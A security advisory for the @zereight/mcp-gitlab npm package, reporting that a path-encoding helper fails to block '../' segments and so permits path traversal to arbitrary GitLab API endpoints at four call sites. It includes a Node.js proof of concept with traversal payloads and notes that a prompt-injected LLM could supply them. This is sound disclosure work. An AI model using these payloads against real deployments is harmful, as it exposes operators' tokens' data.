Skip to content

encodeGitLabPath never blocks '../': GHSA-4rm9 patch bypass leads to path traversal (4 call sites)

High
zereight published GHSA-m682-5gg2-5rc9 Sep 23, 2026

Package

npm @zereight/mcp-gitlab (npm)

Affected versions

>= 0.0.1

Patched versions

2.1.65

Description

Title

encodeGitLabPath never blocks ../: GHSA-4rm9 patch bypass leads to path traversal to arbitrary /api/v4 endpoints (4 call sites)

Weakness

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Secondary: CWE-116: Improper Encoding or Escaping of Output (the encoding step itself is the defect — it was written to look like it neutralizes ./.., but structurally cannot)

Severity

CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N = 7.5 (High) — computed with the cvss Python library's CVSS3 class, matching the same impact reasoning GHSA-7c3w-fxgh-frc7 (the sibling job_id path-traversal advisory in this same repository) used for its own scoring: network-reachable, no special privilege beyond ordinary tool-calling ability (an MCP client, or an LLM steered by prompt injection, per that advisory's own threat model), no user interaction, S:U because — as GHSA-7c3w itself states — "the base URL host is fixed ... this is request-path forgery within the configured GitLab, not external SSRF." C:H because the request reaches arbitrary GET /api/v4/... endpoints under the operator's real token (e.g. /api/v4/user, /api/v4/groups, other projects' data); I:N/A:N because every affected call site only ever issues a GET.

Affected Products

Ecosystem Package Vulnerable version range confirmed Patched
npm @zereight/mcp-gitlab current latest (verified against index.ts/downloads/proxy.ts on main, package.json version 2.1.62) none

This is a patch bypass of GHSA-4rm9-rfp2-j39q, whose fix (introducing encodeGitLabPath, patched in 2.1.41) is still present, unchanged, and still exploitable in the current 2.1.62.

Description

GHSA-4rm9-rfp2-j39q described direct_asset_path in download_release_asset being appended to a GitLab API URL unencoded, letting ../ segments escape the intended /projects/{id}/releases/{tag}/downloads/ route. The shipped fix added two helpers in index.ts:

function encodeGitLabPathSegment(value: string): string {
  return encodeURIComponent(decodeURIComponent(value));
}
function encodeGitLabPath(value: string): string {
  return value.split("/").map(encodeGitLabPathSegment).join("/");
}

encodeGitLabPath is meant to safely handle a path that legitimately contains /-separated segments (a nested file path) by encoding each segment individually rather than encoding the whole string (which would turn every / into %2F and break legitimate multi-segment paths). The defect: encodeURIComponent treats . as an unreserved character and never encodes it. Splitting "../../../../user" on / produces the segments ["..", "..", "..", "..", "user"]; running encodeGitLabPathSegment on each one returns them completely unchanged (".." encodes to ".."), and rejoining with / reproduces the exact original traversal string. The "encoding" step does nothing to a dot-segment payload — it only affects characters that need percent-encoding, and ./.. never did.

The resulting string is then embedded in a template literal and handed to new URL(...) (or, in the download-proxy routes, built into a URL the server itself then fetch()es) — and URL does collapse dot-segments per RFC 3986 §5.2.4, exactly the escape encodeGitLabPath was supposed to prevent. This is the identical failure mode Tornado's tornado.template.Loader had (a "sanitizer" that never touches the one character class that matters), just in a different codebase.

Four call sites reproduce this, all currently present and unfixed:

  1. downloadReleaseAsset() (index.ts, the download_release_asset tool — this is the very function GHSA-4rm9 was filed against):
    `${getEffectiveApiUrl()}/projects/${encodeURIComponent(effectiveProjectId)}/releases/${encodeGitLabPathSegment(tagName)}/downloads/${encodeGitLabPath(directAssetPath)}`
  2. getJobArtifactFile() (index.ts, the get_job_artifact_file tool) inlines the identical split/map/join logic instead of calling the shared helper by name, but is exactly as vulnerable:
    const encodedArtifactPath = artifactPath.split("/").map(segment => encodeGitLabPathSegment(segment)).join("/");
    `${getEffectiveApiUrl()}/projects/${encodeURIComponent(effectiveProjectId)}/jobs/${encodeGitLabPathSegment(jobId)}/artifacts/${encodedArtifactPath}`
  3. downloads/proxy.ts's "attachment" download-proxy route (filename query parameter), calling the same broken helper via dependency injection:
    `${apiUrl}/projects/${encodeURIComponent(effectiveProjectId)}/uploads/${deps.encodeGitLabPathSegment(secret)}/${deps.encodeGitLabPath(filename)}`
  4. downloads/proxy.ts's "release-asset" download-proxy route (direct_asset_path query parameter) — the HTTP-proxy sibling of call site 1:
    `${apiUrl}/projects/${encodeURIComponent(effectiveProjectId)}/releases/${encodeURIComponent(tag_name)}/downloads/${deps.encodeGitLabPath(direct_asset_path)}`

This is also the same impact class as GHSA-7c3w-fxgh-frc7 (job_id in the pipeline/job tools, fixed by switching to encodeURIComponent directly rather than this per-segment helper) — but encodeGitLabPath was specifically introduced to fix a similar report and still doesn't close the traversal, so this is a live sibling of both an already-disclosed bug and its own remediation.

Proof of Concept

No live GitLab instance is needed: the escape happens entirely in the URL construction, before any network request is made, exactly as with the Tornado finding earlier this session. Reproduced the real helper functions verbatim and fed each of the four vulnerable templates a traversal payload:

function encodeGitLabPathSegment(value) {
  return encodeURIComponent(decodeURIComponent(value));
}
function encodeGitLabPath(value) {
  return value.split("/").map(encodeGitLabPathSegment).join("/");
}

const apiUrl = "https://gitlab.example.com/api/v4";
const effectiveProjectId = "1";
const tagName = "v1.0.0";
const directAssetPath = "../../../../user"; // attacker-controlled tool argument

const url = `${apiUrl}/projects/${encodeURIComponent(effectiveProjectId)}/releases/${encodeGitLabPathSegment(tagName)}/downloads/${encodeGitLabPath(directAssetPath)}`;
console.log(new URL(url).toString());

Output:

https://gitlab.example.com/api/v4/projects/user

The full PoC script (poc.js, attached) exercises all four call sites and confirms each one collapses its intended prefix and lands on an attacker-chosen /api/v4/ path:

download_release_asset          -> /api/v4/projects/user
get_job_artifact_file           -> /api/v4/projects/groups
download-proxy attachment route -> /api/v4/user
download-proxy release-asset    -> /api/v4/projects/user

(The exact number of ../ segments needed to reach the API root vs. a /projects/{id}/...-relative sibling path depends on the specific route's own prefix depth — both are demonstrated above, and either is sufficient to prove the traversal is live.)

Impact

Any caller of the download_release_asset or get_job_artifact_file MCP tools, or either affected HTTP download-proxy route, can redirect the request the server makes — carrying the operator's real Private-Token/GITLAB_PERSONAL_ACCESS_TOKEN — to an arbitrary GET /api/v4/... endpoint instead of the intended download route. As GHSA-7c3w-fxgh-frc7 already demonstrated for the sibling job_id bug, this reaches endpoints like /api/v4/user (the token owner's account details) or other projects'/groups' data beyond what the calling tool was scoped to, and — per the standard MCP threat model these advisories already use — the argument value can come from an LLM steered by prompt injection, not only a directly malicious human caller.

Suggested fix

encodeGitLabPath/encodeGitLabPathSegment need to reject (or strip) dot-segments, not just percent-encode other characters. The minimal fix: after splitting on /, reject the whole path if any segment, once decoded, is exactly . or .. (mirroring the approach Tornado's own toPathSegment()-style helper takes — see this session's earlier Tornado report — or simply validate the final joined-and-resolved path stays under the intended prefix before use, the same way resolveTrustedGitLabApiUrl was added elsewhere in this codebase for the X-GitLab-API-URL SSRF class). Apply the fix to encodeGitLabPath itself (fixing call sites 1, 3, 4 for free) and to getJobArtifactFile's inline duplicate (call site 2) — ideally by making that function call the shared helper instead of re-implementing the same logic a second time, which is exactly how this class of bug ends up with multiple untouched instances.

Supporting material

  • poc.js — runnable Node.js reproduction of all four call sites, attached separately.
  • All file paths and code excerpts above are from the public zereight/gitlab-mcp repository (main branch, package.json version 2.1.62) and independently verifiable. Referenced prior advisories: GHSA-4rm9-rfp2-j39q (whose fix this report shows is ineffective) and GHSA-7c3w-fxgh-frc7 (the sibling job_id bug establishing the same impact class in this repository).

Supporting material (poc.js, full contents)

// Dynamic PoC: zereight/gitlab-mcp's `encodeGitLabPath` helper (index.ts:1967,
// reused verbatim in downloads/proxy.ts) does not actually block path
// traversal, despite being the fix shipped for GHSA-4rm9-rfp2-j39q
// (direct_asset_path path escape in download_release_asset).
//
// Root cause: encodeGitLabPath splits the input on "/", runs
// encodeGitLabPathSegment (encodeURIComponent(decodeURIComponent(x))) on each
// piece, and rejoins with "/". encodeURIComponent never touches "." (it is in
// the "unreserved" set per the URI spec), so a literal ".." segment survives
// completely unchanged through this "encoding" step. The rejoined string is
// then embedded in a template literal and handed to `new URL(...)`, which DOES
// collapse dot-segments per RFC 3986 -- exactly the escape the fix was
// supposed to prevent.
//
// Reproduces the exact vulnerable code from four call sites, verbatim:
//   1. index.ts downloadReleaseAsset()      (the "download_release_asset" tool)
//   2. index.ts getJobArtifactFile()        (the "get_job_artifact_file" tool,
//      inlines the identical split/map/join pattern instead of calling the
//      shared helper by name, but is exactly as vulnerable)
//   3. downloads/proxy.ts "attachment" download-proxy route (filename)
//   4. downloads/proxy.ts "release-asset" download-proxy route (direct_asset_path)

function encodeGitLabPathSegment(value) {
	return encodeURIComponent(decodeURIComponent(value));
}
function encodeGitLabPath(value) {
	return value.split("/").map(encodeGitLabPathSegment).join("/");
}

const apiUrl = "https://gitlab.example.com/api/v4";
const effectiveProjectId = "1";

function show(label, rawUrl) {
	const normalized = new URL(rawUrl);
	console.log(`=== ${label} ===`);
	console.log("  constructed :", rawUrl);
	console.log("  normalized  :", normalized.toString());
	console.log();
}

// 1. download_release_asset -- verbatim shape from index.ts downloadReleaseAsset()
{
	const tagName = "v1.0.0";
	const directAssetPath = "../../../../user"; // attacker-controlled tool argument
	const url = `${apiUrl}/projects/${encodeURIComponent(effectiveProjectId)}/releases/${encodeGitLabPathSegment(tagName)}/downloads/${encodeGitLabPath(directAssetPath)}`;
	show("download_release_asset -> escapes to /api/v4/projects/user", url);
}

// 2. get_job_artifact_file -- verbatim shape from index.ts getJobArtifactFile()
{
	const jobId = "123";
	const artifactPath = "../../../../groups"; // attacker-controlled tool argument
	const encodedArtifactPath = artifactPath.split("/").map(segment => encodeGitLabPathSegment(segment)).join("/");
	const url = `${apiUrl}/projects/${encodeURIComponent(effectiveProjectId)}/jobs/${encodeGitLabPathSegment(jobId)}/artifacts/${encodedArtifactPath}`;
	show("get_job_artifact_file -> escapes to /api/v4/groups", url);
}

// 3. download-proxy "attachment" route -- verbatim shape from downloads/proxy.ts
{
	const secret = "abc123";
	const filename = "../../../../user"; // attacker-controlled query param
	const url = `${apiUrl}/projects/${encodeURIComponent(effectiveProjectId)}/uploads/${encodeGitLabPathSegment(secret)}/${encodeGitLabPath(filename)}`;
	show("download-proxy attachment route -> escapes to /api/v4/projects/user", url);
}

// 4. download-proxy "release-asset" route -- verbatim shape from downloads/proxy.ts
{
	const tagName = "v1.0.0";
	const directAssetPath = "../../../../user"; // attacker-controlled query param
	const url = `${apiUrl}/projects/${encodeURIComponent(effectiveProjectId)}/releases/${encodeURIComponent(tagName)}/downloads/${encodeGitLabPath(directAssetPath)}`;
	show("download-proxy release-asset route -> escapes to /api/v4/projects/user", url);
}

console.log("All four call sites collapse the intended prefix and reach an arbitrary");
console.log("/api/v4/ endpoint, sent with the operator's configured GitLab token.");

Severity

High

CVE ID

No known CVE

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

Improper Encoding or Escaping of Output

The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved. Learn more on MITRE.

Credits